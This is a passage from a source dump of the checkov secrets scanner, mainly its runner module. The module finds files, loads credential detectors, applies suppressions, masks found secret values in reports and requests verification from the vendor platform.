policy['title']\n                        runnables[name] = decoded_payload.decode('utf8')\n            except Exception as e:\n                logging.warning(f\"Could not parse runnable policy {policy['title']} due to: {e}\")\n    return runnables\n"
  },
  {
    "path": "checkov/secrets/runner.py",
    "content": "from __future__ import annotations\n\nimport datetime\nimport linecache\nimport logging\nimport os\nimport re\nimport tempfile\nimport threading\nfrom contextlib import contextmanager\nfrom copy import deepcopy\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, cast, Optional, Iterable, Any, List, Dict, Tuple, Callable, Generator\nfrom collections import defaultdict\n\nimport requests\nfrom detect_secrets.filters.heuristic import is_potential_uuid\nfrom detect_secrets.settings import (\n    get_settings,\n    configure_settings_from_baseline,\n    get_plugins,\n    get_filters,\n)\nfrom detect_secrets.core.plugins.util import get_mapping_from_secret_type_to_class\n\nfrom checkov.common.util.decorators import time_it\nfrom checkov.common.util.type_forcers import convert_str_to_bool\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.output.secrets_record import SecretsRecord\nfrom checkov.common.util.http_utils import request_wrapper, DEFAULT_TIMEOUT\nfrom detect_secrets import SecretsCollection\nfrom detect_secrets.core import scan\nfrom detect_secrets.core.potential_secret import PotentialSecret\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \\\n    integration as metadata_integration\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.comment.enum import COMMENT_REGEX\nfrom checkov.common.models.consts import SUPPORTED_FILE_EXTENSIONS\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.common.util.secrets import omit_secret_value_from_line, GENERIC_OBFUSCATION_LENGTH\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.secrets.consts import ValidationStatus, VerifySecretsResult\nfrom checkov.secrets.coordinator import EnrichedSecret, SecretsCoordinator\nfrom checkov.secrets.plugins.load_detectors import get_runnable_plugins\nfrom checkov.secrets.git_history_store import GitHistorySecretStore\nfrom checkov.secrets.git_types import EnrichedPotentialSecret, PROHIBITED_FILES, Commit\nfrom checkov.secrets.scan_git_history import GitHistoryScanner\nfrom checkov.secrets.utils import filter_excluded_paths, EXCLUDED_PATHS\nfrom checkov.secrets.context_parser import ContextParser\nfrom checkov.secrets.log_prefix_stripper import create_stripped_content\n\nif TYPE_CHECKING:\n    from checkov.common.util.tqdm_utils import ProgressBar\n\nSOURCE_CODE_EXTENSION = ['.py', '.js', '.properties', '.pem', '.php', '.xml', '.ts', '.env', '.java', '.rb',\n                         'go', 'cs', '.txt']\nSECRET_TYPE_TO_ID = {\n    'Artifactory Credentials': 'CKV_SECRET_1',\n    'AWS Access Key': 'CKV_SECRET_2',\n    'Azure Storage Account access key': 'CKV_SECRET_3',\n    'Basic Auth Credentials': 'CKV_SECRET_4',\n    'Cloudant Credentials': 'CKV_SECRET_5',\n    'Base64 High Entropy String': 'CKV_SECRET_6',\n    'IBM Cloud IAM Key': 'CKV_SECRET_7',\n    'IBM COS HMAC Credentials': 'CKV_SECRET_8',\n    'JSON Web Token': 'CKV_SECRET_9',\n    'Secret Keyword': 'CKV_SECRET_10',\n    'Mailchimp Access Key': 'CKV_SECRET_11',\n    'NPM tokens': 'CKV_SECRET_12',\n    'Private Key': 'CKV_SECRET_13',\n    'Slack Token': 'CKV_SECRET_14',\n    'SoftLayer Credentials': 'CKV_SECRET_15',\n    'Square OAuth Secret': 'CKV_SECRET_16',\n    'Stripe Access Key': 'CKV_SECRET_17',\n    'Twilio API Key': 'CKV_SECRET_18',\n    'Hex High Entropy String': 'CKV_SECRET_19'\n}\n\nBASE64_HIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_6'\nRANDOM_HIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_80'\nENTROPY_CHECK_IDS = {BASE64_HIGH_ENTROPY_CHECK_ID, 'CKV_SECRET_19', RANDOM_HIGH_ENTROPY_CHECK_ID}\nGENERIC_PRIVATE_KEY_CHECK_IDS = {'CKV_SECRET_4', 'CKV_SECRET_9', 'CKV_SECRET_10', 'CKV_SECRET_13', 'CKV_SECRET_192'}\nGENERIC_AWS_CHECK_ID = 'CKV_SECRET_2'\nSPECIFIC_AWS_CHECK_IDS = {'CKV_SECRET_380', 'CKV_SECRET_381'}\n\nCHECK_ID_TO_SECRET_TYPE = {v: k for k, v in SECRET_TYPE_TO_ID.items()}\n\nMAX_FILE_SIZE = int(os.getenv('CHECKOV_MAX_FILE_SIZE', '5000000'))  # 5 MB is default limit\n\n# ── thread-safe replacement for transient_settings ─────────────────\n_detect_secrets_settings_lock = threading.Lock()\n\n\n@contextmanager\ndef _thread_safe_transient_settings(config: Dict[str, Any]) -> Generator[Any, None, None]:\n    \"\"\"Thread-safe replacement for detect_secrets.settings.transient_settings.\n\n    The original transient_settings calls cache_bust() which clears the\n    get_settings() LRU cache, creating a race window where get_settings()\n    returns a fresh empty Settings() object. Sub-threads can then cache\n    a corrupted (empty) plugin mapping, resulting in 0 findings.\n\n    This implementation never clears get_settings() from the LRU cache.\n    Instead it modifies the Settings singleton in-place and only clears\n    the dependent caches (get_plugins, get_filters,\n    get_mapping_from_secret_type_to_class).\n\n    The lock is held only for microseconds during setup and teardown —\n    never during the actual scan — so there is no performance impact.\n\n    Pre-warming: after reconfiguring, we call get_mapping_from_secret_type_to_class()\n    and get_plugins() while still holding the lock. This populates both LRU caches\n    with the correct plugin set before any inner worker thread can observe them.\n    Without pre-warming, inner threads race to rebuild the caches concurrently after\n    the lock is released — Python's @lru_cache is not thread-safe for concurrent\n    cache misses, so two threads can simultaneously enter the function body and one\n    can overwrite the other's result with a corrupted (empty) mapping.\n    \"\"\"\n    with _detect_secrets_settings_lock:\n        settings = get_settings()\n        original_plugins = deepcopy(dict(settings.plugins))\n        original_filters = deepcopy(dict(settings.filters))\n\n        # Clear ONLY the dependent caches — NOT get_settings itself.\n        # This is the key difference from the original transient_settings:\n        # the singleton object is never evicted from the LRU cache.\n        get_plugins.cache_clear()\n        get_filters.cache_clear()\n        get_mapping_from_secret_type_to_class.cache_clear()\n\n        settings.clear()\n        configure_settings_from_baseline(config)\n\n        # Pre-warm both caches while the lock is still held so that inner\n        # worker threads spawned by parallel_runner always get cache hits\n        # during the scan phase and never need to rebuild the mapping.\n        # Without this, concurrent cache misses in @lru_cache (not thread-safe)\n        # can produce a corrupted empty mapping → TypeError → 0 findings.\n        mapping = get_mapping_from_secret_type_to_class()\n        plugins = get_plugins()\n        logging.debug(\n            f\"_thread_safe_transient_settings (with pre-warming): settings_id={id(settings)} plugins_count={len(plugins)} mapping_count={len(mapping)} thread={__import__('threading').current_thread().name}\")\n\n    # Lock released — scan runs freely here with warm, stable caches\n    try:\n        yield settings\n    finally:\n        with _detect_secrets_settings_lock:\n            get_plugins.cache_clear()\n            get_filters.cache_clear()\n            get_mapping_from_secret_type_to_class.cache_clear()\n            settings.plugins = original_plugins\n            settings.filters = original_filters\n\n\ndef should_filter_vault_secret(secret_value: str, check_id: str) -> bool:\n    return 'vault:' in secret_value.lower() and check_id in ENTROPY_CHECK_IDS\n\n\ndef _get_secret_suppressions_ids() -> List[str]:\n    secret_suppressions_ids: list[str] = []\n    if bc_integration.customer_run_config_response:\n        suppressions = bc_integration.customer_run_config_response.get('suppressions', [])\n        if suppressions:\n            secret_suppressions_ids = [\n                suppression['policyId'] for suppression in suppressions\n                if suppression['suppressionType'] == 'SecretsPolicy' or suppression['suppressionType'] == 'Policy'\n            ]\n            logging.info(f'The secret_suppressions_ids are: {secret_suppressions_ids}')\n\n    return secret_suppressions_ids\n\n\ndef _find_files_from_root_folder(root_folder: str, runner_filter: RunnerFilter) -> List[str]:\n    files_to_scan: List[str] = []\n    excluded_paths = (runner_filter.excluded_paths or []) + EXCLUDED_PATHS\n    enable_secret_scan_all_files = runner_filter.enable_secret_scan_all_files\n    block_list_secret_scan = runner_filter.block_list_secret_scan or []\n    block_list_secret_scan_lower = [file_type.lower() for file_type in block_list_secret_scan]\n    for root, d_names, f_names in os.walk(root_folder):\n        if enable_secret_scan_all_files:\n            # 'excluded_paths' shouldn't include the static paths from 'EXCLUDED_PATHS'\n            # they are separately referenced inside the 'filter_excluded_paths' function\n            filter_excluded_paths(\n                root_dir=root, names=d_names, excluded_paths=runner_filter.excluded_paths)\n            filter_excluded_paths(\n                root_dir=root, names=f_names, excluded_paths=runner_filter.excluded_paths)\n        else:\n            filter_ignored_paths(root, d_names, excluded_paths)\n            filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            if enable_secret_scan_all_files:\n                if is_dockerfile(file):\n                    if 'dockerfile' not in block_list_secret_scan_lower:\n                        files_to_scan.append(os.path.join(root, file))\n                elif f\".{file.split('.')[-1]}\" not in block_list_secret_scan_lower and file not in block_list_secret_scan_lower:\n                    files_to_scan.append(os.path.join(root, file))\n            elif file not in PROHIBITED_FILES and f\".{file.split('.')[-1]}\" in SUPPORTED_FILE_EXTENSIONS or is_dockerfile(\n                    file):\n                files_to_scan.append(os.path.join(root, file))\n    logging.info(f'Secrets scanning will scan {len(files_to_scan)} files')\n\n    return files_to_scan\n\n\ndef _cleanup_plugin_files(\n        work_path: str,\n        amount: int,\n        dir_obj: Optional[tempfile.TemporaryDirectory[Any]] = None\n) -> None:\n    if dir_obj is not None:\n        logging.info(f\"Cleanup the whole temp directory: {work_path}\")\n        dir_obj.cleanup()\n        return\n    for index in range(1, amount):\n        try:\n            os.remove(f\"{work_path}/runnable_plugin_{index}.py\")\n            logging.info(f\"Removed runnable plugin at index {index}\")\n        except Exception as e:\n            logging.info(f\"Failed removing file at index {index} due to: {e}\")\n\n\nclass Runner(BaseRunner[None, None, None]):\n    check_type = CheckType.SECRETS  # noqa: CCE003  # a static attribute\n\n    def __init__(\n            self,\n            file_extensions: Iterable[str] | None = None,\n            file_names: Iterable[str] | None = None,\n            entropy_limit: Optional[float] = None):\n        super().__init__(file_extensions, file_names)\n        self.commits_to_scan: Optional[List[Commit]] = None\n        self.secrets_coordinator = SecretsCoordinator()\n        self.history_secret_store = GitHistorySecretStore()\n        self.entropy_limit = entropy_limit or float(os.getenv('CHECKOV_ENTROPY_KEYWORD_LIMIT', '3'))\n\n    def set_history_secret_store(self, value: Dict[str, List[EnrichedPotentialSecret]]) -> None:\n        self.history_secret_store.secrets_by_file_value_type = value\n\n    def get_history_secret_store(self) -> Dict[str, List[EnrichedPotentialSecret]]:\n        return self.history_secret_store.secrets_by_file_value_type\n\n    def _get_plugins_used(self) -> Tuple[List[Dict[str, Any]], Callable[[], None]]:\n        work_dir_obj = None\n        work_path_optional = os.getenv('WORKDIR')\n        if work_path_optional is None:\n            work_dir_obj = tempfile.TemporaryDirectory()\n            work_path = work_dir_obj.name\n        else:\n            work_path = work_path_optional\n\n        # load runnable plugins\n        current_dir = Path(__file__).parent\n        plugins_used: List[Dict[str, Any]] = [\n            {'name': 'AWSKeyDetector'},\n            {'name': 'ArtifactoryDetector'},\n            {'name': 'AzureStorageKeyDetector'},\n            {'name': 'BasicAuthDetector'},\n            {'name': 'CloudantDetector'},\n            {'name': 'IbmCloudIamDetector'},\n            {'name': 'IbmCosHmacDetector'},\n            {'name': 'JwtTokenDetector'},\n            {'name': 'MailchimpDetector'},\n            {'name': 'NpmDetector'},\n            {'name': 'PrivateKeyDetector'},\n            {'name': 'SlackDetector'},\n            {'name': 'SoftlayerDetector'},\n            {'name': 'SquareOAuthDetector'},\n            {'name': 'StripeDetector'},\n            {'name': 'TwilioKeyDetector'},\n            {'name': 'EntropyKeywordCombinator', 'path': f'file://{current_dir}/plugins/entropy_keyword_combinator.py',\n             'entropy_limit': self.entropy_limit}\n        ]\n        plugins_index = 0\n        if bc_integration.customer_run_config_response:\n            policies_list = bc_integration.customer_run_config_response.get('secretsPolicies', [])\n            if policies_list:\n                runnable_plugins: dict[str, str] = get_runnable_plugins(policies_list)\n                logging.debug(f\"Found {len(runnable_plugins)} runnable plugins\")\n                if len(runnable_plugins) > 0:\n                    plugins_index += 1\n                for name, runnable_plugin in runnable_plugins.items():\n                    f = open(f\"{work_path}/runnable_plugin_{plugins_index}.py\", \"w\")\n                    f.write(runnable_plugin)\n                    f.close()\n                    plugins_used.append({\n                        'name': name.replace(' ', ''),\n                        'path': f'file://{work_path}/runnable_plugin_{plugins_index}.py'\n                    })\n                    plugins_index += 1\n                    logging.debug(f\"Loaded runnable plugin {name}\")\n\n        # load internal regex detectors\n        detector_path = f\"{current_dir}/plugins/custom_regex_detector.py\"\n        logging.info(f\"Custom detector found at {detector_path}. Loading...\")\n        plugins_used.append({\n            'name': 'CustomRegexDetector',\n            'path': f'file://{detector_path}'\n        })\n\n        return plugins_used, lambda: _cleanup_plugin_files(work_path, plugins_index, work_dir_obj)\n\n    def run(\n            self,\n            root_folder: str | None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True\n    ) -> Report:\n        runner_filter = runner_filter or RunnerFilter()\n        secrets = SecretsCollection()\n\n        plugins_used, cleanupFn = self._get_plugins_used()\n        secret_suppressions_ids = _get_secret_suppressions_ids()\n\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        # Implement non IaC files (including .terraform dir)\n        files_to_scan = files or []\n        self._add_custom_detectors_to_metadata_integration()\n\n        git_history_scanner = None\n        if runner_filter.enable_git_history_secret_scan:\n            git_history_scanner = GitHistoryScanner(str(root_folder), secrets, self.history_secret_store, runner_filter.git_history_timeout)\n\n        with _thread_safe_transient_settings({\n            # Only run scans with only these plugins.\n            'plugins_used': plugins_used\n        }) as settings:\n            if root_folder:\n                if runner_filter.enable_git_history_secret_scan and git_history_scanner is not None:\n                    settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file'])\n                    git_history_scanner.scan_history(last_commit_scanned=runner_filter.git_history_last_commit_scanned, commits_to_scan=self.commits_to_scan)\n                    logging.info(f'Secrets scanning git history for root folder {root_folder}')\n                else:\n                    files_to_scan += _find_files_from_root_folder(root_folder, runner_filter)\n\n            settings.disable_filters(*['detect_secrets.filters.heuristic.is_indirect_reference'])\n            settings.disable_filters(*['detect_secrets.filters.heuristic.is_potential_uuid'])\n\n            if not runner_filter.enable_git_history_secret_scan:\n                self.pbar.initiate(len(files_to_scan))\n                self._scan_files(files_to_scan, secrets, self.pbar)\n                self.pbar.close()\n\n        history_store = None\n        if runner_filter.enable_git_history_secret_scan and git_history_scanner is not None:\n            history_store = git_history_scanner.history_store\n\n        return self.get_report(secrets=secrets, runner_filter=runner_filter, history_store=history_store,\n                               root_folder=root_folder, secret_suppressions_ids=secret_suppressions_ids, cleanupFn=cleanupFn)\n\n    def get_report(self, secrets: SecretsCollection, runner_filter: RunnerFilter,\n                   history_store: Optional[GitHistorySecretStore], root_folder: Optional[str],\n                   secret_suppressions_ids: List[str], cleanupFn: Any, use_secret_filename: Optional[bool] = False) -> Report:\n        report = Report(self.check_type)\n\n        secret_records: dict[str, SecretsRecord] = {}\n        secrets_in_uuid_form = ['CKV_SECRET_116', 'CKV_SECRET_49', 'CKV_SECRET_48', 'CKV_SECRET_40', 'CKV_SECRET_30']\n\n        secret_key_by_line_to_secrets = defaultdict(list)\n        for key, secret in secrets:\n            secret_key_by_line_to_secrets[(key, secret.line_number)].append(secret)\n\n        # If same line contains both Random High Entropy & Base64 High Entropy, only the Random one remains.\n        # https://jira-dc.paloaltonetworks.com/browse/BCE-42547\n        for secret_file_and_line_key, secrets_by_line in secret_key_by_line_to_secrets.items():\n            if not any([s.check_id == RANDOM_HIGH_ENTROPY_CHECK_ID for s in secrets_by_line]):\n                continue\n            # Save resource id as we will need it for later\n            entropy_secret = None\n            _file_key = secret_file_and_line_key[0]\n            for s in secrets_by_line:\n                if SECRET_TYPE_TO_ID.get(s.type) == BASE64_HIGH_ENTROPY_CHECK_ID and entropy_secret is not None:\n                    s.secret_value = entropy_secret\n                if s.check_id == RANDOM_HIGH_ENTROPY_CHECK_ID and BASE64_HIGH_ENTROPY_CHECK_ID in [SECRET_TYPE_TO_ID.get(i.type) for i in secrets_by_line]:\n                    try:\n                        entropy_secret = s.secret_value if s.secret_value else None\n                        secrets[_file_key].remove(s)\n                    except KeyError:\n                        pass\n\n        for key, secret in secrets:\n            check_id = secret.check_id if secret.check_id else SECRET_TYPE_TO_ID.get(secret.type)\n            if not check_id:\n                logging.debug(f'Secret was filtered - no check_id for line_number {secret.line_number}')\n                continue\n            if secret.secret_value and should_filter_vault_secret(secret.secret_value, check_id):\n                logging.debug(f'Secret was filtered - this is a vault reference: {secret.secret_value}')\n                continue\n            secret_key = f'{key}_{secret.line_number}_{secret.secret_hash}'\n            # secret history\n            added_commit_hash, removed_commit_hash, code_line, added_by, removed_date, added_date = '', '', '', '', '', ''\n            if runner_filter.enable_git_history_secret_scan and history_store is not None:\n                enriched_potential_secret = history_store.get_added_and_removed_commit_hash(key, secret, root_folder)\n                added_commit_hash = enriched_potential_secret.get('added_commit_hash') or ''\n                removed_commit_hash = enriched_potential_secret.get('removed_commit_hash') or ''\n                code_line = enriched_potential_secret.get('code_line') or ''\n                added_by = enriched_potential_secret.get('added_by') or ''\n                removed_date = enriched_potential_secret.get('removed_date') or ''\n                added_date = enriched_potential_secret.get('added_date') or ''\n            # run over secret key\n            if isinstance(secret.secret_value, str) and secret.secret_value:\n                stripped = secret.secret_value.strip(',\";\\'')\n                if stripped != secret.secret_value:\n                    secret_key = f'{key}_{secret.line_number}_{PotentialSecret.hash_secret(stripped)}'\n            if secret.secret_value and is_potential_uuid(\n                    secret.secret_value) and secret.check_id not in secrets_in_uuid_form:\n                logging.info(\n                    f\"Removing secret due to UUID filtering: {PotentialSecret.hash_secret(secret.secret_value)}\")\n                continue\n            bc_check_id = metadata_integration.get_bc_id(check_id)\n            if bc_check_id in secret_suppressions_ids:\n                logging.debug(f'Secret was filtered - check {check_id} was suppressed')\n                continue\n            severity = metadata_integration.get_severity(check_id)\n            if not runner_filter.should_run_check(check_id=check_id, bc_check_id=bc_check_id, severity=severity,\n                                                  report_type=CheckType.SECRETS):\n                logging.debug(\n                    f'Check was suppress - should_run_check. check_id {check_id}')\n                continue\n            if secret_key in secret_records.keys():\n                is_prioritise = self._prioritise_secrets(secret_records, secret_key, check_id)\n                if not is_prioritise:\n                    continue\n            result: _CheckResult = {'result': CheckResult.FAILED}\n            try:\n                if runner_filter.enable_git_history_secret_scan and code_line is not None:\n                    line_text = code_line\n                else:\n                    line_text = linecache.getline(secret.filename, secret.line_number)\n            except SyntaxError as e:\n                # If encoding is a problem, this is probably not human-readable source code\n                # hence there's no need in flagging this secret\n                logging.info(f'Failed to log secret {secret.type} for file {secret.filename} because of {e}')\n                continue\n            if line_text and line_text.startswith('git_commit'):\n                continue\n            result = self.search_for_suppression(\n                check_id=check_id,\n                bc_check_id=bc_check_id,\n                severity=severity,\n                secret=secret,\n                runner_filter=runner_filter,\n                root_folder=root_folder\n            ) or result\n\n            relative_file_path = f'/{os.path.relpath(secret.filename, root_folder)}'\n            if use_secret_filename:\n                relative_file_path = f'/{secret.filename}'\n\n            resource = f'{relative_file_path}:{added_commit_hash}:{secret.secret_hash}' if added_commit_hash else f'{relative_file_path}:{secret.secret_hash}'\n            report.add_resource(resource)\n            # 'secret.secret_value' can actually be 'None', but only when 'PotentialSecret' was created\n            # via 'load_secret_from_dict'\n            self.save_secret_to_coordinator(\n                secret.secret_value, bc_check_id, check_id, resource, secret.line_number, result\n            )\n\n            secret_key_by_line = (key, secret.line_number)\n            line_text_censored = line_text\n            for sec in secret_key_by_line_to_secrets[secret_key_by_line]:\n                secret_value = cast(str, sec.secret_value)\n                if secret_value:\n                    secret_value = secret_value.strip('\"\\'')  # We should always strip quotes from matches before we search for them in the line (because of this line quoted_mm = f\"'{mm}'\" in custom_regex_detector.py)\n                line_text_censored = omit_secret_value_from_line(secret_value, line_text_censored)\n\n            secret_records[secret_key] = SecretsRecord(\n                check_id=check_id,\n                bc_check_id=bc_check_id,\n                severity=severity,\n                check_name=secret.type,\n                check_result=result,\n                code_block=[(secret.line_number, line_text_censored)],\n                file_path=relative_file_path,\n                file_line_range=[secret.line_number, secret.line_number + 1],\n                resource=f'{added_commit_hash}:{secret.secret_hash}' if added_commit_hash else secret.secret_hash,\n                check_class=\"\",\n                evaluations=None,\n                file_abs_path=os.path.abspath(secret.filename),\n                validation_status=ValidationStatus.UNAVAILABLE.value,\n                added_commit_hash=added_commit_hash,\n                removed_commit_hash=removed_commit_hash,\n                added_by=added_by,\n                removed_date=removed_date,\n                added_date=added_date\n            )\n        for _, v in secret_records.items():\n            report.add_record(v)\n\n        enriched_secrets_s3_path = bc_integration.persist_enriched_secrets(self.secrets_coordinator.get_secrets())\n        if enriched_secrets_s3_path:\n            self.verify_secrets(report, enriched_secrets_s3_path)\n        logging.debug(f'report fail checks len: {len(report.failed_checks)}')\n\n        if cleanupFn is not None:\n            cleanupFn()\n        if runner_filter.skip_invalid_secrets:\n            self._modify_invalid_secrets_check_result_to_skipped(report)\n        return report\n\n    @staticmethod\n    def _prioritise_secrets(secret_records: Dict[str, SecretsRecord], secret_key: str, check_id: str) -> bool:\n        if secret_records[secret_key].check_id in ENTROPY_CHECK_IDS and check_id not in ENTROPY_CHECK_IDS:\n            secret_records.pop(secret_key)\n            return True\n        if secret_records[secret_key].check_id in GENERIC_PRIVATE_KEY_CHECK_IDS:\n            if check_id not in GENERIC_PRIVATE_KEY_CHECK_IDS | ENTROPY_CHECK_IDS:\n                secret_records.pop(secret_key)\n                return True\n        if secret_records[secret_key].check_id == GENERIC_AWS_CHECK_ID and check_id in SPECIFIC_AWS_CHECK_IDS:\n            secret_records.pop(secret_key)\n            return True\n        return False\n\n    @staticmethod\n    def _scan_files(files_to_scan: list[str], secrets: SecretsCollection, pbar: ProgressBar) -> None:\n        # implemented the scan function like secrets.scan_files\n        base_path = secrets.root\n        items = [\n            (file, base_path)\n            for file in files_to_scan\n        ]\n        results = parallel_runner.run_function(func=Runner._safe_scan, items=items)\n\n        for filename, secrets_results in results:\n            pbar.set_additional_data({'Current File Scanned': str(filename)})\n            for secret in secrets_results:\n                secrets[os.path.relpath(secret.filename, base_path)].add(secret)\n            pbar.update()\n\n    @staticmethod\n    def _prepare_scan_file(full_file_path: str) -> Optional[str]:\n        \"\"\"Check if a file has build log prefixes and prepare a stripped version for scanning.\n\n        Build log files often have timestamps/log-level prefixes on each line that break\n        multiline secret detection (e.g., private keys split across prefixed log lines).\n        This method detects such prefixes and creates a temporary file with the prefixes\n        stripped, so all detectors can match secrets that span multiple log lines.\n\n        Returns:\n            path to the temp file if created (caller must clean up), or None\n        \"\"\"\n        stripped_content = create_stripped_content(full_file_path)\n        if not stripped_content:\n            return None\n\n        logging.debug(f'Detected log prefixes in {full_file_path}, scanning with prefixes stripped')\n        try:\n            _, ext = os.path.splitext(full_file_path)\n            with tempfile.NamedTemporaryFile(\n                    mode='w', suffix=ext, delete=False\n            ) as tmp_file:\n                tmp_file.write(stripped_content)\n                return tmp_file.name\n        except Exception as e:\n            logging.debug(f'Failed to create stripped temp file for {full_file_path}: {e}')\n            return None\n\n    @staticmethod\n    def _safe_scan(file_path: str, base_path: str) -> tuple[str, list[PotentialSecret]]:\n        try:\n            full_file_path = os.path.join(base_path, file_path)\n            file_size = os.path.getsize(full_file_path)\n            if file_size > MAX_FILE_SIZE > 0:\n                logging.info(\n                    f'Skipping secret scanning on {full_file_path} due to file size. To scan this file for '\n                    'secrets, run this command again with the environment variable \"CHECKOV_MAX_FILE_SIZE\" '\n                    f'to 0 or {file_size + 1}'\n                )\n                return file_path, []\n\n            start_time = datetime.datetime.now()\n\n            tmp_file_path = Runner._prepare_scan_file(full_file_path)\n            scan_file_path = tmp_file_path or full_file_path\n\n            try:\n                file_results = [*scan.scan_file(scan_file_path)]\n                # If we scanned a temp file, map results back to the original file path\n                if tmp_file_path is not None:\n                    for secret in file_results:\n                        secret.filename = full_file_path\n                logging.debug(f'file {full_file_path} results len {len(file_results)}')\n            finally:\n                if tmp_file_path is not None:\n                    try:\n                        os.remove(tmp_file_path)\n                    except OSError:\n                        logging.warning(f\"Failed to remove temp file: {tmp_file_path}\")\n\n            end_time = datetime.datetime.now()\n            run_time = end_time - start_time\n            if run_time > datetime.timedelta(seconds=10):\n                logging.info(f'Secret scanning for {full_file_path} took {run_time} seconds')\n            return file_path, file_results\n        except Exception as e:\n            logging.warning(f\"Secret scanning: could not process file {full_file_path}\")\n            logging.debug(e, exc_info=True)\n            return file_path, []\n\n    @staticmethod\n    def search_for_suppression(\n            check_id: str,\n            bc_check_id: str,\n            severity: Severity | None,\n            secret: PotentialSecret,\n            runner_filter: RunnerFilter,\n            root_folder: str | None\n    ) -> _CheckResult | None:\n        if not runner_filter.should_run_check(\n                check_id=check_id,\n                bc_check_id=bc_check_id,\n                severity=severity,\n                report_type=CheckType.SECRETS,\n                file_origin_paths=[secret.filename],\n                root_folder=root_folder\n        ) and check_id in CHECK_ID_TO_SECRET_TYPE.keys():\n            return {\n                \"result\": CheckResult.SKIPPED,\n                \"suppress_comment\": f\"Secret scan {check_id} is skipped\"\n            }\n\n        # Check for suppression comment in the line before, the line of, and the line after the secret\n        for line_number in [secret.line_number, secret.line_number - 1, secret.line_number + 1]:\n            lt = linecache.getline(secret.filename, line_number)\n            skip_search = re.search(COMMENT_REGEX, lt)\n            if skip_search and (skip_search.group(2) == check_id or skip_search.group(2) == bc_check_id):\n                comment: str = skip_search.group(3)[1:] if skip_search.group(3) else \"No comment provided\"\n                return {\n                    \"result\": CheckResult.SKIPPED,\n                    \"suppress_comment\": comment\n                }\n\n            # Metadata suppression check\n            try:\n                secret_file_path = os.path.join(root_folder, secret.filename) if root_folder else secret.filename\n                parser = ContextParser(secret_file_path)\n\n                # Parse the file for metadata\n                resource_config = getattr(secret, \"resource_config\", None)\n                if resource_config is None and secret_file_path.endswith((\".json\", \".yml\", \".yaml\")):\n                    try:\n                        import json\n                        import yaml\n                        with open(secret_file_path, \"r\", encoding=\"utf-8\") as f:\n                            content = f.read()\n                            if secret_file_path.endswith(\".json\"):\n                                resource_config = json.loads(content)\n                            else:\n                                resource_config = yaml.safe_load(content)\n\n                        if not isinstance(resource_config, (dict, list)):\n                            resource_config = None\n                    except Exception:\n                        resource_config = None\n\n                suppressions = parser.collect_skip_comments(resource_config=resource_config)\n                metadata_suppressions = [s for s in suppressions if s.get(\"line_number\") is None]\n\n                for suppression in metadata_suppressions:\n                    if suppression[\"id\"] == check_id or suppression.get(\"bc_id\") == bc_check_id:\n                        return {\n                            \"result\": CheckResult.SKIPPED,\n                            \"suppress_comment\": suppression.get(\"suppress_comment\", \"No comment provided\")\n                        }\n\n            except Exception as e:\n                logging.debug(f\"Metadata suppression check failed for file {secret.filename}: {e}\")\n        return None\n\n    def save_secret_to_coordinator(\n            self,\n            secret_value: Optional[str],\n            bc_check_id: str,\n            check_id: str,\n            resource: str,\n            line_number: int,\n            result: _CheckResult\n    ) -> None:\n        if result.get('result') == CheckResult.FAILED and secret_value is not None:\n            enriched_secret = EnrichedSecret(\n                original_secret=secret_value,\n                bc_check_id=bc_check_id,\n                check_id=check_id,\n                resource=resource,\n                line_number=line_number\n            )\n            self.secrets_coordinator.add_secret(enriched_secret=enriched_secret)\n\n    @time_it\n    def verify_secrets(self, report: Report, enriched_secrets_s3_path: str) -> VerifySecretsResult:\n        if not bc_integration.bc_api_key:\n            logging.debug('Secrets verification is available only with a valid API key')\n            return VerifySecretsResult.INSUFFICIENT_PARAMS\n\n        if bc_integration.skip_download:\n            logging.debug('Skipping secrets verification as flag skip-download was specified')\n            return VerifySecretsResult.INSUFFICIENT_PARAMS\n\n        validate_secrets_tenant_config = None\n        if bc_integration.customer_run_config_response is not None:\n            validate_secrets_tenant_config = bc_integration.customer_run_config_response.get(\n                'tenantConfig', {}).get('secretsValidate')\n\n        if validate_secrets_tenant_config is None and not convert_str_to_bool(os.getenv(\"CKV_VALIDATE_SECRETS\", False)):\n            logging.debug('Secrets verification is off, enable it via code configuration screen')\n            return VerifySecretsResult.INSUFFICIENT_PARAMS\n\n        if validate_secrets_tenant_config is False:\n            logging.debug('Secrets verification is off, enable it via code configuration screen')\n            return VerifySecretsResult.INSUFFICIENT_PARAMS\n\n        request_body = {\n            \"reportS3Path\": enriched_secrets_s3_path\n        }\n        response = None\n        try:\n            response = request_wrapper(\n                \"POST\", f\"{bc_integration.api_url}/api/v1/secrets/reportVerification\",\n                headers=bc_integration.get_default_headers(\"POST\"),\n                json=request_body,\n                should_call_raise_for_status=True,\n                log_json_body=False\n            )\n        except Exception:\n            logging.error('Failed to perform secrets verification', exc_info=True)\n\n        if not response:\n            return VerifySecretsResult.FAILURE\n\n        verification_report_presigned_url = response.json().get('verificationReportSignedUrl')\n        if not verification_report_presigned_url:\n            logging.error(\"Response is missing verificationReportSignedUrl key, aborting\")\n            return VerifySecretsResult.FAILURE\n\n        verification_report = self.get_json_verification_report(verification_report_presigned_url)\n\n        if not verification_report:\n            return VerifySecretsResult.FAILURE\n\n        validation_status_by_check_id_and_resource = {}\n        for validation_status_entity in verification_report:\n            if not all(required_key in validation_status_entity.keys() for required_key in\n                       [\"violationId\", \"resourceId\", \"status\"]):\n                logging.debug(f\"{validation_status_entity} does not have all required keys, skipping\")\n                continue\n\n            key = f'{validation_status_entity[\"violationId\"]}_{validation_status_entity[\"resourceId\"]}'\n            